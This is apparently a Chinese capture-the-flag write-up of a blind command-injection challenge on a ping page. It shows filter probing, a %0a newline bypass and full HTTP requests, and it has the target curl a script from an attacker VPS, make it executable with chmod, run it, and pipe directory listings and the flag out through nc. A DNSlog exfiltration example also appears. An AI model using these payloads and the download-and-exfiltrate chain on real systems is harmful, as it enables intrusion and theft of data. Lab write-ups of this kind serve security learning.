朋友发来一道 ctf 题目,打开网站如下图,一眼命令执行漏洞。
抓包测试无回显,但会显示命令执行成功。
请求如下:
POST /ping.php HTTP/1.1
Host: ctf.zhibangyang.cn:20508
Content-Length: 12
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Accept: */*
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://ctf.zhibangyang.cn:20508
Referer: http://ctf.zhibangyang.cn:20508/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
ip=127.0.0.1
测试过滤什么字符,测试发现,过滤了下述字符,那么通过 dnslog 外带的方式就被堵死了。
;`$
dnslog 外带的方式通常是利用尖括号进行命令执行,如
`whoami`.xxx.dnslog.cn
测试发现 % 未过滤可以通过 %0a(换行符)绕过执行命令
1、准备 vps 服务器,在 vps 上新建一个 1.sh 脚本,脚本内容如下
ls / | nc vps地址 1234
2、vps 上用 nc 监听请求,并开启一个新窗口启动 python 服务,让靶机下载 1.sh 脚本
nc -lvnp 1234
python3 -m http.server 80
3、靶机执行如下命令
ip=127.0.0.1%0acurl vps地址/1.sh > /tmp/4.sh
chmod 777 /tmp/4.sh
/bin/sh /tmp/4.sh
请求报如下:
POST /ping.php HTTP/1.1
Host: ctf.zhibangyang.cn:20508
Content-Length: 50
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Accept: */*
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://ctf.zhibangyang.cn:20508
Referer: http://ctf.zhibangyang.cn:20508/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
ip=127.0.0.1%0acurl vps地址/1.sh > /tmp/4.sh
结果如下,可以返回请求
那么查看 flag 则只需要修改 1.sh 的脚本内容如下
cat /FLAG | nc vps地址 1234
再走一遍,获取 flag
ip=127.0.0.1%0acurl vps地址/1.sh > /tmp/5.sh
chmod 777 /tmp/5.sh
/bin/sh /tmp/5.sh
根据 flag 的格式知道 n1book 上的题